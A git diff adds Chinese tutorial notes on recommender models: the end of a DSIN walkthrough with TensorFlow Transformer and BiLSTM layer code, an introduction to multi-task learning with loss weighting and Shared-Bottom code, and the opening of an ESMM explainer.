+这里面接收的输入是一个每个用户的会话列表， 比如上面那5个会话的时候，每个会话里面是有若干个商品的，当然还不仅仅是有商品id，还有可能有类别id这种。 而这个函数干的事情就是遍历这5个会话，然后对于每个会话，要根据商品id拿到每个会话的商品embedding(有类别id的话也会拿到类别id然后拼起来)， 所以每个会话会得到一个`(None, seq_len, embed_dim)`的一个矩阵，而最后的输出就是5个会话的矩阵放到一个列表里返回来。也就是上面的`transformer_input`， 作为transformer的输入。 这里面的一个细节，就是偏置编码。 如果需要偏置编码的话，要在这里面进行。偏置编码的过程
+
+```python
+class BiasEncoding(Layer):
+    """位置编码"""
+    def __init__(self, sess_max_count, seed=1024):
+        super(BiasEncoding, self).__init__()
+        self.sess_max_count = sess_max_count
+        self.seed = seed
+    
+    def build(self, input_shape):
+        # 在该层创建一个可训练的权重  input_shape [None, sess_max_count, max_seq_len, embed_dim]
+        if self.sess_max_count == 1:
+            embed_size = input_shape[2]
+            seq_len_max = input_shape[1]
+        else:
+            embed_size = input_shape[0][2]
+            seq_len_max = input_shape[0][1]
+        # 声明那三个位置偏置编码矩阵
+        self.sess_bias_embedding = self.add_weight('sess_bias_encoding', shape=(self.sess_max_count, 1, 1), 
+                                                   initializer=tf.keras.initializers.TruncatedNormal(mean=0.0, stddev=0.0001, seed=self.seed))  # 截断产生正太随机数
+        self.seq_bias_embedding = self.add_weight('seq_bias_encoding', shape=(1, seq_len_max, 1),
+                                                  initializer=tf.keras.initializers.TruncatedNormal(mean=0.0, stddev=0.0001, seed=self.seed))
+        self.embed_bias_embedding = self.add_weight('embed_beas_encoding', shape=(1, 1, embed_size),
+                                                    initializer=tf.keras.initializers.TruncatedNormal(mean=0.0, stddev=0.0001, seed=self.seed))
+        super(BiasEncoding, self).build(input_shape)
+    
+    def call(self, inputs, mask=None):
+        """
+        :param inputs:  A list 长度是会话数量，每个元素表示一个会话矩阵，维度是[None, max_seq_len, embed_dim]
+        """
+        bias_encoding_out = []
+        for i in range(self.sess_max_count):
+            bias_encoding_out.append(
+                inputs[i] + self.embed_bias_embedding  + self.seq_bias_embedding + self.sess_bias_embedding[i]  # 这里会广播
+            )
+        return bias_encoding_out                                
+```
+这里的核心就是build里面的那三个偏置矩阵，对应论文里面的$\mathbf{w}_{k}^{K},\mathbf{w}_{t}^{T},\mathbf{w}_{c}^{C}$, 这里之所以放到build里面建立，是为了让这些参数可学习， 而前向传播里面就是论文里面的公式加就完事，这里面会用到广播机制。
+
+### 会话兴趣提取层(sess_interest_extractor) 
+这里面就是复现了大名鼎鼎的Transformer了， 这也是我第一次看transformer的代码，果真与之前的理论分析还是有很多不一样的点，下面得一一梳理一下，Transformer是非常重要的。
+
+首先是位置编码， 代码如下：
+
+```python
+def positional_encoding(inputs, pos_embedding_trainable=True,scale=True):
+    """
+    inputs: (None, max_seq_len, embed_dim)
+    """
+    _, T, num_units = inputs.get_shape().as_list() # [None, max_seq_len, embed_dim]
+    
+    position_ind = tf.expand_dims(tf.range(T), 0)  # [1, max_seq_len]
+    
+    # First part of the PE function: sin and cos argument
+    position_enc = np.array([
+        [pos / np.power(1000, 2. * i / num_units) for i in range(num_units)] for pos in range(T)
+    ])
+    
+    # Second part, apply the cosine to even columns and sin to odds.  # 这个操作秀
+    position_enc[:, 0::2] = np.sin(position_enc[:, 0::2])  # dim 2i
+    position_enc[:, 1::2] = np.cos(position_enc[:, 1::2])  # dim 2i+1
+    
+    # 转成张量
+    if pos_embedding_trainable:
+        lookup_table = K.variable(position_enc, dtype=tf.float32)
+
+    outputs = tf.nn.embedding_lookup(lookup_table, position_ind)
+    if scale:
+        outputs = outputs * num_units ** 0.5
+    return outputs + inputs
+```
+这一块的话没有啥好说的东西感觉，这个就是在按照论文里面的公式sin, cos变换， 这里面比较秀的操作感觉就是dim2i和dim 2i+1的赋值了。
+
+接下来，LayerNormalization， 这个也是按照论文里面的公式实现的代码，求均值和方差的维度都是embedding：
+
+```python
+class LayerNormalization(Layer):
+    def __init__(self, axis=-1, eps=1e-9, center=True, scale=True):
+        super(LayerNormalization, self).__init__()
+        self.axis = axis
+        self.eps = eps
+        self.center = center
+        self.scale = scale
+    def build(self, input_shape):
+        """
+        input_shape: [None, max_seq_len, singlehead_emb_dim*head_num]
+        """
+        self.gamma = self.add_weight(name='gamma', shape=input_shape[-1:],  # [1, max_seq_len, singlehead_emb_dim*head_num]
+                                     initializer=tf.keras.initializers.Ones(), trainable=True) 
+        self.beta = self.add_weight(name='beta', shape=input_shape[-1:],
+                                    initializer=tf.keras.initializers.Zeros(), trainable=True) # [1, max_seq_len, singlehead_emb_dim*head_num]
+        super(LayerNormalization, self).build(input_shape)
+    
+    def call(self, inputs):
+        """
+           [None, max_seq_len, singlehead_emb_dim*head_num]
+        """
+        mean = K.mean(inputs, axis=self.axis, keepdims=True)  # embed_dim维度上求均值
+        variance = K.mean(K.square(inputs-mean), axis=-1, keepdims=True)   # embed_dim维度求方差
+        std = K.sqrt(variance + self.eps)  
+        outputs = (inputs - mean) / std
+        
+        if self.scale:
+            outputs *= self.gamma
+        if self.center:
+            outputs += self.beta
+        return outputs                      
+```
+下面就是伟大的Transformer网络，下面我先把整体代码放上来，然后解释一些和我之前见到过的一样的地方，也是通过看具体代码学习到的点：
+
+```python
+class Transformer(Layer):
+    """Transformer网络"""
+    def __init__(self, singlehead_emb_size=1, att_head_nums=8, dropout_rate=0.0, use_positional_encoding=False,use_res=True, 
+                 use_feed_forword=True, use_layer_norm=False, blinding=False, seed=1024):
+        super(Transformer, self).__init__()
+        self.singlehead_emb_size = singlehead_emb_size
+        self.att_head_nums = att_head_nums
+        self.num_units = self.singlehead_emb_size * self.att_head_nums
+        self.use_res = use_res
+        self.use_feed_forword = use_feed_forword
+        self.dropout_rate = dropout_rate
+        self.use_positional_encoding = use_positional_encoding
+        self.use_layer_norm = use_layer_norm
+        self.blinding = blinding                   # 如果为True的话表明进行attention的时候未来的units都被屏蔽， 解码器的时候用
+        self.seed = seed
+    
+    # 这里需要为该层自定义可训练的参数矩阵 WQ, WK, WV
+    def build(self, input_shape):
+        # input_shape: [None, max_seq_len, embed_dim]
+        embedding_size= int(input_shape[0][-1])
+        # 检查合法性
+        if self.num_units != embedding_size:
+            raise ValueError( 
+                "att_embedding_size * head_num must equal the last dimension size of inputs,got %d * %d != %d" % (
+                self.singlehead_emb_size, att_head_nums, embedding_size))
+        self.seq_len_max = int(input_shape[0][-2]) 
+        # 定义三个矩阵
+        self.W_Query = self.add_weight(name='query', shape=[embedding_size, self.singlehead_emb_size*self.att_head_nums],
+                                       dtype=tf.float32,initializer=tf.keras.initializers.TruncatedNormal(seed=self.seed))
+        self.W_Key = self.add_weight(name='key', shape=[embedding_size, self.singlehead_emb_size*self.att_head_nums],
+                                       dtype=tf.float32,initializer=tf.keras.initializers.TruncatedNormal(seed=self.seed+1))
+        self.W_Value = self.add_weight(name='value', shape=[embedding_size, self.singlehead_emb_size*self.att_head_nums],
+                                       dtype=tf.float32,initializer=tf.keras.initializers.TruncatedNormal(seed=self.seed+2))
+        # 用神经网络的话，加两层训练参数
+        if self.use_feed_forword:
+            self.fw1 = self.add_weight('fw1', shape=[self.num_units, 4 * self.num_units], dtype=tf.float32,
+                                       initializer=tf.keras.initializers.glorot_uniform(seed=self.seed))
+            self.fw2 = self.add_weight('fw2', shape=[4 * self.num_units, self.num_units], dtype=tf.float32,
+                                       initializer=tf.keras.initializers.glorot_uniform(seed=self.seed+1))
+        self.dropout = tf.keras.layers.Dropout(self.dropout_rate)
+        self.ln = LayerNormalization()
+        super(Transformer, self).build(input_shape)
+    
+    def call(self, inputs, mask=None, training=None):
+        """
+        :param inputs: [当前会话sessi, 当前会话sessi]  维度 (None, max_seq_len, embed_dim)
+        :param mask: 当前会话mask  这是个1维数组， 维度是(None, ), 表示每个样本在当前会话里面的行为序列长度
+        """
+        # q和k其实是一样的矩阵
+        queries, keys = inputs
+        query_masks, key_masks = mask, mask
+        
+        # 这里需要对Q和K进行mask操作， 
+        # key masking目的是让key值的unit为0的key对应的attention score极小，这样加权计算value时相当于对结果不产生影响
+        # Query Masking 要屏蔽的是被0所填充的内容。
+        query_masks = tf.sequence_mask(query_masks, self.seq_len_max, dtype=tf.float32) # (None, 1, seq_len_max)
+        key_masks = tf.sequence_mask(key_masks, self.seq_len_max, dtype=tf.float32)  # (None, 1, seq_len_max), 注意key_masks开始是(None,1)
+        key_masks = key_masks[:, 0, :]     # 所以上面会多出个1维度来， 这里去掉才行，(None, seq_len_max)
+        query_masks = query_masks[:, 0, :]   # 这个同理
+        
+        # 是否位置编码 
+        if self.use_positional_encoding:
+            queries = positional_encoding(queries)
+            keys = positional_encoding(queries)
+        
+        # tensordot 是矩阵乘，好处是当两个矩阵维度不同的时候，只要指定axes也可以乘
+        # 这里表示的是queries的-1维度与W_Query的0维度相乘
+        # (None, max_seq_len, embedding_size) * [embedding_size, singlehead_emb_size*head_num]
+        querys = tf.tensordot(queries, self.W_Query, axes=(-1, 0)) # [None, max_seq_len_q, singlehead_emb_size*head_num]
+        
+        keys = tf.tensordot(keys, self.W_Key, axes=(-1, 0)) # [None, max_seq_len_k, singlehead_emb_size*head_num]
+        values = tf.tensordot(keys, self.W_Value, axes=(-1, 0)) # [None, max_seq_len_k, singlehead_emb_size*head_num]
+        
+        # tf.split切分张量 这里从头那里切分成head_num个张量， 然后从0维拼接
+        querys = tf.concat(tf.split(querys, self.att_head_nums, axis=2), axis=0)  # [head_num*None, max_seq_len_q, singlehead_emb_size]
+        keys = tf.concat(tf.split(keys, self.att_head_nums, axis=2), axis=0) # [head_num*None, max_seq_len_k, singlehead_emb_size]
+        values = tf.concat(tf.split(values, self.att_head_nums, axis=2), axis=0) # [head_num*None, max_seq_len_k, singlehead_emb_size]
+        
+        # Q*K   keys后两维转置然后再乘 [head_num*None, max_seq_len_q, max_seq_len_k]
+        outputs = tf.matmul(querys, keys, transpose_b=True)
+        outputs = outputs / (keys.get_shape().as_list()[-1] ** 0.5)
+        
+        # 从0维度上复制head_num次
+        key_masks = tf.tile(key_masks, [self.att_head_nums, 1])  # [head_num*None, max_seq_len_k]
+        key_masks = tf.tile(tf.expand_dims(key_masks, 1), [1, tf.shape(queries)[1], 1])  # [head_num*None, max_seq_len_q,max_seq_len_k]  
+        paddings = tf.ones_like(outputs) * (-2**32+1)
+        
+        outputs = tf.where(tf.equal(key_masks, 1), outputs, paddings)     # 被填充的部分赋予极小的权重
+        
+        #  标识是否屏蔽未来序列的信息(解码器self attention的时候不能看到自己之后的哪些信息)
+        #  这里通过下三角矩阵的方式进行，依此表示预测第一个词，第二个词，第三个词...
+        if self.blinding:    
+            diag_vals = tf.ones_like(outputs[0, :, :])  # (T_q, T_k)
+            tril = tf.linalg.LinearOperatorLowerTriangular(diag_vals).to_dense()  # (T_q, T_k)   这是个下三角矩阵
+            masks = tf.tile(tf.expand_dims(tril, 0), [tf.shape(outputs)[0], 1, 1])  # (h*N, T_q, T_k)
+
+            paddings = tf.ones_like(masks) * (-2 ** 32 + 1)
+            outputs = tf.where(tf.equal(masks, 0), paddings, outputs)  # (h*N, T_q, T_k)
+        
+        outputs -= tf.reduce_max(outputs, axis=-1, keepdims=True)
+        outputs = tf.nn.softmax(outputs, axis=-1)     # 最后一个维度求softmax，换成权重
+        
+        query_masks = tf.tile(query_masks, [self.att_head_nums, 1])  # [head_num*None, max_seq_len_q]
+        query_masks = tf.tile(tf.expand_dims(query_masks, -1), [1, 1, tf.shape(keys)[1]])  # [head_num*None, max_seq_len_q, max_seq_len_k]
+        
+        outputs *= query_masks
+        
+        # 权重矩阵过下dropout  [head_num*None, max_seq_len_q, max_seq_len_k]
+        outputs = self.dropout(outputs, training=training)
+        
+        # weighted sum [head_num*None, max_seq_len_q, max_seq_len_k] * # [head_num*None, max_seq_len_k, singlehead_emb_size]
+        result = tf.matmul(outputs, values)  # [head_num*None, max_seq_len_q, singlehead_emb_size]
+        # 换回去了
+        result = tf.concat(tf.split(result, self.att_head_nums, axis=0), axis=2)  # [None, max_seq_len_q, head_num*singlehead_emb_size]
+        
+        if self.use_res:   # 残差连接
+            result += queries
+        if self.use_layer_norm:
+            result = self.ln(result)
+        if self.use_feed_forword: # [None, max_seq_len_q, head_num*singlehead_emb_size] 与 [num_units, self.num_units]
+            fw1 = tf.nn.relu(tf.tensordot(result, self.fw1, axes=[-1, 0])) # [None, max_seq_len_q, 4*num_units]
+            fw1 = self.dropout(fw1, training=training)
+            fw2 = tf.tensordot(fw1, self.fw2, axes=[-1, 0])  # [None, max_seq_len_q, num_units]  这个num_units其实就等于head_num*singlehead_emb_size
+            
+            if self.use_res:
+                result += fw2
+            if self.use_layer_norm:
+                result = self.ln(result)
+        
+        return tf.reduce_mean(result, axis=1, keepdims=True)  # [None, 1, head_num*singleh]
+```
+这里面的整体逻辑， 首先在build里面会构建3个矩阵`WQ, WK, WV`，在这里定义依然是为了这些参数可训练， 而出乎我意料的是残差网络的参数w也是这里定义， 之前还以为这个是单独写出来，后面看了前向传播的逻辑时候明白了。
+
+前向传播的逻辑和我之前画的图上差不多，不一样的细节是这里的具体实现上， 就是这里的**把多个头分开，采用堆叠的方式进行计算(堆叠到第一个维度上去了)**。这个是我之前忽略的一个问题， 只有这样才能使得每个头与每个头之间的自注意力运算是独立不影响的。如果不这么做的话，最后得到的结果会含有当前单词在这个头和另一个单词在另一个头上的关联，这是不合理的。**这是看了源码之后才发现的细节**。
+
+另外就是mask操作这里，Q和K都需要进行mask操作，因为我们接受的输入序列是经过填充的，这里必须通过指明长度在具体计算的时候进行遮盖，否则softmax那里算的时候会有影响，因为e的0次方是1，所以这里需要找到序列里面填充的那些地方，给他一个超级大的负数，这样e的负无穷接近0，才能没有影响。但之前不知道这里的细节，这次看发现是Q和K都进行mask操作，且目的还不一样。
+
+第三个细节，就是对未来序列的屏蔽，这个在这里是用不到的，这个是Transformer的解码器用的一个操作，就是在解码的时候，我们不能让当前的序列看到自己之后的信息。这里也需要进行mask遮盖住后面的。而具体实现，竟然使用了一个下三角矩阵， 这个东西的感觉是这样：
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20210312171321963.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" style="zoom:90%;" /> 
+</div>
+
+解码的时候，只能看到自己及以前的相关性，然后加权，这个学到了哈哈。
+
+transformer这里接收的是会话兴趣分割层传下来的兴趣列表，返回的是个矩阵，维度是`(None, sess_nums, embed_dim)`， 因为这里每个会话都要过Transformer， 输入的维度是(None, seq_len, embed_dim)， 而经过transformer之后，本来输出的维度也是这个，但是最后返回的时候在seq_len的维度上求了个平均。所以每个会话得到的输出是(None, 1, embed_dim), 相当于兴趣综合了下。而5个会话，就会得到5个这样的结果，然后再会话维度上拼接，就是上面的这个矩阵结果了，这个东西作为双向LSTM的输入。
+
+### 会话兴趣交互层(BiLSTM)
+这里主要是值得记录下多层双向LSTM的实现过程， 用下面的这种方式非常的灵活：
+
+```python
+class BiLSTM(Layer):
+    def __init__(self, units, layers=2, res_layers=0, dropout_rate=0.2, merge_mode='ave'):
+        super(BiLSTM, self).__init__()
+        self.units = units
+        self.layers = layers
+        self.res_layers = res_layers
+        self.dropout_rate = dropout_rate
+        self.merge_mode = merge_mode
+    
+    # 这里要构建正向的LSTM和反向的LSTM， 因为我们是要两者的计算结果最后加和，所以这里需要分别计算
+    def build(self, input_shape):
+        """
+        input_shape: (None, sess_max_count, embed_dim)
+        """
+        self.fw_lstm = []
+        self.bw_lstm = []
+        for _ in range(self.layers):
+            self.fw_lstm.append(
+                LSTM(self.units, dropout=self.dropout_rate, bias_initializer='ones', return_sequences=True, unroll=True)
+            )
+            # go_backwards 如果为真，则反向处理输入序列并返回相反的序列
+            # unroll 布尔(默认错误)。如果为真，则网络将展开，否则使用符号循环。展开可以提高RNN的速度，尽管它往往会占用更多的内存。展开只适用于较短的序列。
+            self.bw_lstm.append(
+                LSTM(self.units, dropout=self.dropout_rate, bias_initializer='ones', return_sequences=True, go_backwards=True, unroll=True)
+            )
+        super(BiLSTM, self).build(input_shape)
+    
+    def call(self, inputs):
+        
+        input_fw = inputs
+        input_bw = inputs
+        for i in range(self.layers):
+            output_fw = self.fw_lstm[i](input_fw)
+            output_bw = self.bw_lstm[i](input_bw)
+            output_bw = Lambda(lambda x: K.reverse(x, 1), mask=lambda inputs, mask:mask)(output_bw)
+            
+            if i >= self.layers - self.res_layers:
+                output_fw += input_fw
+                output_bw += input_bw
+            
+            input_fw = output_fw
+            input_bw = output_bw
+        
+        if self.merge_mode == "fw":
+            output = output_fw
+        elif self.merge_mode == "bw":
+            output = output_bw
+        elif self.merge_mode == 'concat':
+            output = K.concatenate([output_fw, output_bw])
+        elif self.merge_mode == 'sum':
+            output = output_fw + output_bw
+        elif self.merge_mode == 'ave':
+            output = (output_fw + output_bw) / 2
+        elif self.merge_mode == 'mul':
+            output = output_fw * output_bw
+        elif self.merge_mode is None:
+            output = [output_fw, output_bw]
+
+        return output
+```
+这里这个操作是比较骚的，以后建立双向LSTM就用这个模板了，具体也不用解释，并且这里之所以说灵活，是因为最后前向LSTM的结果和反向LSTM的结果都能单独的拿到，且可以任意的两者运算。  我记得Keras里面应该是也有直接的函数实现双向LSTM的，但依然感觉不如这种灵活。 这个层数自己定，单元自己定看，最后结果形式自己定，太帅了简直。  关于LSTM，可以看[官方文档](https://tensorflow.google.cn/versions/r2.0/api_docs/python/tf/keras/layers/LSTM)
+
+这个的输入是`(None, sess_nums, embed_dim)`， 输出是`(None, sess_nums, hidden_units_num)`。
+
+###  会话兴趣局部激活
+这里就是局部Attention的操作了，这个在这里就不解释了，和之前的DIEN，DIN的操作就一样了， 代码也不放在这里了，剩下的代码都看后面的GitHub链接吧， 这里我只记录下我觉得后面做别的项目会有用的代码哈哈。 
+
+## 总结
+DSIN的核心创新点就是把用户的历史行为按照时间间隔进行切分，以会话为单位进行学习， 而学习的方式首先是会话之内的行为自学习，然后是会话之间的交互学习，最后是与当前候选商品相关的兴趣演进，总体上还是挺清晰的。 
+
+具体的实际使用场景依然是有丰富的用户历史行为序列才可以，而会话之间的划分间隔，也得依据具体业务场景。 具体的使用可以调deepctr的包。
+
+**参考资料**：
+* [DSIN原论文](https://arxiv.org/abs/1905.06482)
+* [自然语言处理之Attention大详解（Attention is all you need）](https://blog.csdn.net/wuzhongqiang/article/details/104414239?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522161512240816780357259240%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=161512240816780357259240&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_v1~rank_blog_v1-1-104414239.pc_v1_rank_blog_v1&utm_term=Attention+is+all)
+* [推荐系统遇上深度学习(四十五)-探秘阿里之深度会话兴趣网络](https://www.jianshu.com/p/82ccb10f9ede)
+* [深度兴趣网络模型探索——DIN+DIEN+DSIN](https://blog.csdn.net/baymax_007/article/details/91130374)
+* [Transformer解读](https://www.cnblogs.com/flightless/p/12005895.html)
+* [Welcome to DeepCTR’s documentation!](https://deepctr-doc.readthedocs.io/en/latest/)
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.5/2.2.5.0.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.5/2.2.5.0.md
new file mode 100644
index 0000000..c277745
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.5/2.2.5.0.md
@@ -0,0 +1,129 @@
+## 背景与动机
+
+在推荐系统的精排模块，多任务学习的模型结构已成业界的主流，获得了广阔的应用。多任务学习（multi-task learning），本质上是希望使用一个模型完成多个任务的建模。在推荐系统中，多任务学习一般即指多目标学习（multi-label learning），不同目标输入相同的feature进行联合训练，是迁移学习的一种。他们之间的关系如图：
+
+<div align=center>
+<img src="https://pic1.zhimg.com/80/v2-130d040474f34095ec6d8c81133da538_1440w.jpg" style="zoom:60%;" />
+</div>
+
+下面我们先讨论三个问题
+
+**一、为什么要用多任务学习？**
+
+（1）很多业界推荐的业务，天然就是一个多目标的建模场景，需要多目标共同优化。以微信视频号推荐为例，打开一个视频，如图，首页上除了由于视频自动播放带来的“播放时长”、“完播率”（用户播放时长占视频长度的比例）目标之外，还有大量的互动标签，例如“点击好友头像”、“进入主页”、“关注”、“收藏”、“分享”、“点赞”、“评论”等。究竟哪一个标签最符合推荐系统的建模目标呢？
+
+<div align=center>
+<img src="https://pic4.zhimg.com/80/v2-c18fc1ec65e308ee2e1477d7868007db_1440w.jpg" style="zoom:30%;" />
+</div>
+
+
+
+如果要用一个词来概括所有各式各样的推荐系统的终极目标，那就是“用户满意度”，但我们无法找到一个显示的指标量化用户满意度。业界一般使用“DAU”、“用户日均使用时长”、“留存率”来作为客观的间接的“用户满意度”（或者说算法工程师绩效）评价指标。而这些指标都是难以通过单一目标建模的，以使用时长为例，长视频播放长度天然大于短视频。所幸的是，虽然没有显式的用户满意度评价指标，但是现在的app都存在类似上述视频号推荐场景的丰富具体的隐式反馈。但这些独立的隐式反馈也存在一些挑战：
+
+- 目标偏差：点赞、分享表达的满意度可能比播放要高
+- 物品偏差：不同视频的播放时长体现的满意度不一样，有的视频可能哄骗用户看到尾部（类似新闻推荐中的标题党）
+- 用户偏差：有的用户表达满意喜欢用点赞，有的用户可能喜欢用收藏
+
+因此我们需要使用多任务学习模型针对多个目标进行预测，并在线上融合多目标的预测结果进行排序。多任务学习也不能直接表达用户满意度，但是可以最大限度利用能得到的用户反馈信息进行充分的表征学习，并且可建模业务之间的关系，从而高效协同学习具体任务。
+
+（2）工程便利，不用针对不同的任务训练不同的模型。一般推荐系统中排序模块延时需求在40ms左右，如果分别对每个任务单独训练一个模型，难以满足需求。出于控制成本的目的，需要将部分模型进行合并。合并之后，能更高效的利用训练资源和进行模型的迭代升级。
+
+**二、为什么多任务学习有效？**
+
+当把业务独立建模变成多任务联合建模之后，有可能带来四种结果：
+
+<div align=center>
+<img src="https://pic1.zhimg.com/80/v2-44927ccdd6caf9685d3d9d5367af98dc_1440w.jpg" style="zoom:60%;" />
+</div>
+
+多任务学习的优势在于通过部分参数共享，联合训练，能在保证“还不错”的前提下，实现多目标共同提升。原因有以下几种：
+
+- 任务互助：对于某个任务难学到的特征，可通过其他任务学习
+- 隐式数据增强：不同任务有不同的噪声，一起学习可抵消部分噪声
+- 学到通用表达，提高泛化能力：模型学到的是对所有任务都偏好的权重，有助于推广到未来的新任务
+- 正则化：对于一个任务而言，其他任务的学习对该任务有正则化效果
+
+**三、多任务学习都在研究什么问题**？
+
+如上所述，多任务的核心优势在于通过不同任务的网络参数共享，实现1+1>2的提升，因此多任务学习的一大主流研究方向便是如何设计有效的网络结构。多个label的引入自然带来了多个loss，那么如何在联合训练中共同优化多个loss则是关键问题。
+
+- 网络结构设计：主要研究哪些参数共享、在什么位置共享、如何共享。这一方向我们认为可以分为两大类，第一类是在设计网络结构时，考虑目标间的显式关系（例如淘宝中，点击之后才有购买行为发生），以阿里提出的ESMM为代表；另一类是目标间没有显示关系（例如短视频中的收藏与分享），在设计模型时不考虑label之间的量化关系，以谷歌提出的MMOE为代表。
+- 多loss的优化策略：主要解决loss数值有大有小、学习速度有快有慢、更新方向时而相反的问题。最经典的两个工作有UWL（Uncertainty Weight）：通过自动学习任务的uncertainty，给uncertainty大的任务小权重，uncertainty小的任务大权重；GradNorm：结合任务梯度的二范数和loss下降梯度，引入带权重的损失函数Gradient Loss，并通过梯度下降更新该权重。
+
+## loss加权融合
+
+一种最简单的实现多任务学习的方式是对不同任务的loss进行加权。例如谷歌的Youtube DNN论文中提到的一种加权交叉熵：
+$$
+\text { Weighted CE Loss }=-\sum_{i}\left[T_{i} y_{i} \log p_{i}+\left(1-y_{i}\right) \log \left(1-p_{i}\right)\right]
+$$
+其中![[公式]](https://www.zhihu.com/equation?tex=T_i) 为观看时长。在原始训练数据中，正样本是视频展示后用户点击了该视频，负样本则是展示后未点击，这个一个标准的CTR预估问题。该loss通过改变训练样本的权重，让所有负样本的权重都为 1，而正样本的权重为点击后的视频观看时长 ![[公式]](https://www.zhihu.com/equation?tex=T_i) 。作者认为按点击率排序会倾向于把诱惑用户点击（用户未必真感兴趣)的视频排前面，而观看时长能更好地反映出用户对视频的兴趣，通过重新设计loss使得该模型在保证主目标点击的同时，将视频观看时长转化为样本的权重，达到优化平均观看时长的效果。
+
+另一种更为简单粗暴的加权方式是人工手动调整权重，例如 0.3\*L(点击)+0.7*L\*(视频完播)
+
+这种loss加权的方式优点如下：
+
+- 模型简单，仅在训练时通过梯度乘以样本权重实现对其它目标的加权
+- 模型上线简单，和base完全相同，不需要额外开销
+
+缺点：
+
+- 本质上并不是多目标建模，而是将不同的目标转化为同一个目标。样本的加权权重需要根据AB测试才能确定。
+
+## Shared-Bottom
+
+最早的多任务学习模型是底层共享结构（Shared-Bottom），如图所示。
+
+通过共享底层模块，学习任务间通用的特征表征，再往上针对每一个任务设置一个Tower网络，每个Tower网络的参数由自身对应的任务目标进行学习。Shared Bottom可以根据自身数据特点，使用MLP、DeepFM、DCN、DIN等，Tower网络一般使用简单的MLP。
+
+代码如下，共享特征embedding，共享底层DNN网络，任务输出层独立，loss直接使用多个任务的loss值之和。
+
+```python
+def Shared_Bottom(dnn_feature_columns, num_tasks=None, task_types=None, task_names=None,
+                  bottom_dnn_units=[128, 128], tower_dnn_units_lists=[[64,32], [64,32]],
+                  l2_reg_embedding=0.00001, l2_reg_dnn=0, seed=1024,dnn_dropout=0,
+                  dnn_activation='relu', dnn_use_bn=False):
+
+    features = build_input_features(dnn_feature_columns)
+    inputs_list = list(features.values())
+    
+    sparse_embedding_list, dense_value_list = input_from_feature_columns(features, dnn_feature_columns, l2_reg_embedding,seed)
+    #共享输入特征
+    dnn_input = combined_dnn_input(sparse_embedding_list, dense_value_list)
+    #共享底层网络
+    shared_bottom_output = DNN(bottom_dnn_units, dnn_activation, l2_reg_dnn, dnn_dropout, dnn_use_bn, seed=seed)(dnn_input)
+    #任务输出层
+    tasks_output = []
+    for task_type, task_name, tower_dnn in zip(task_types, task_names, tower_dnn_units_lists):
+        tower_output = DNN(tower_dnn, dnn_activation, l2_reg_dnn, dnn_dropout, dnn_use_bn, seed=seed, name='tower_'+task_name)(shared_bottom_output)
+
+        logit = tf.keras.layers.Dense(1, use_bias=False, activation=None)(tower_output)
+        output = PredictionLayer(task_type, name=task_name)(logit) 
+        tasks_output.append(output)
+
+    model = tf.keras.models.Model(inputs=inputs_list, outputs=tasks_output)
+    return model
+```
+
+优点：
+
+- 浅层参数共享，互相补充学习，任务相关性越高，模型loss优化效果越明显，也可以加速训练。
+
+缺点：
+
+- 任务不相关甚至优化目标相反时（例如新闻的点击与阅读时长），可能会带来负收益，多个任务性能一起下降。
+
+一般把Shared-Bottom的结构称作“参数硬共享”，多任务学习网络结构设计的发展方向便是如何设计更灵活的共享机制，从而实现“参数软共享”。
+
+
+
+参考资料：
+
+[https://developer.aliyun.com/article/793252](https://developer.aliyun.com/article/793252)
+
+https://zhuanlan.zhihu.com/p/291406172
+
+Gradnorm: Gradient normalization for adaptive loss balancing in deep multitask networks (ICML'2018)
+
+UWL: Multi-task learning using uncertainty to weigh losses for scene geometry and semantics (CVPR'2018)
+
+YoutubeDNN: Deep neural networks for youtube recommendations (RecSys'2016)
\ No newline at end of file
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.5/ESMM.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.5/ESMM.md
new file mode 100644
index 0000000..10edb7b
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.5/ESMM.md
@@ -0,0 +1,162 @@
+# ESMM
+
+不同的目标由于业务逻辑，有显式的依赖关系，例如**曝光→点击→转化**。用户必然是在商品曝光界面中，先点击了商品，才有可能购买转化。阿里提出了ESMM(Entire Space Multi-Task Model)网络，显式建模具有依赖关系的任务联合训练。该模型虽然为多任务学习模型，但本质上是以CVR为主任务，引入CTR和CTCVR作为辅助任务，解决CVR预估的挑战。
+
+## 背景与动机
+
+传统的CVR预估问题存在着两个主要的问题：**样本选择偏差**和**稀疏数据**。下图的白色背景是曝光数据，灰色背景是点击行为数据，黑色背景是购买行为数据。传统CVR预估使用的训练样本仅为灰色和黑色的数据。
+<div align=center>
+<img src="https://pic4.zhimg.com/80/v2-2f0df0f6933dd8405c478fcce91f7b6f_1440w.jpg" alt="img" style="zoom:33%;" />
+</div>  
+
+这会导致两个问题：
+- 样本选择偏差（sample selection bias，SSB）：如图所示，CVR模型的正负样本集合={点击后未转化的负样本+点击后转化的正样本}，但是线上预测的时候是样本一旦曝光，就需要预测出CVR和CTR以排序，样本集合={曝光的样本}。构建的训练样本集相当于是从一个与真实分布不一致的分布中采样得到的，这一定程度上违背了机器学习中训练数据和测试数据独立同分布的假设。
+- 训练数据稀疏（data sparsity，DS）：点击样本只占整个曝光样本的很小一部分，而转化样本又只占点击样本的很小一部分。如果只用点击后的数据训练CVR模型，可用的样本将极其稀疏。
+
+## 解决方案
+
+阿里妈妈团队提出ESMM，借鉴多任务学习的思路，引入两个辅助任务CTR、CTCVR(已点击然后转化)，同时消除以上两个问题。
+
+三个预测任务如下：
+
+- **pCTR**：p(click=1 | impression)；
+- **pCVR**: p(conversion=1 | click=1,impression)；
+- **pCTCVR**: p(conversion=1, click=1 | impression) = p(click=1 | impression) * p(conversion=1 | click=1, impression)；
+
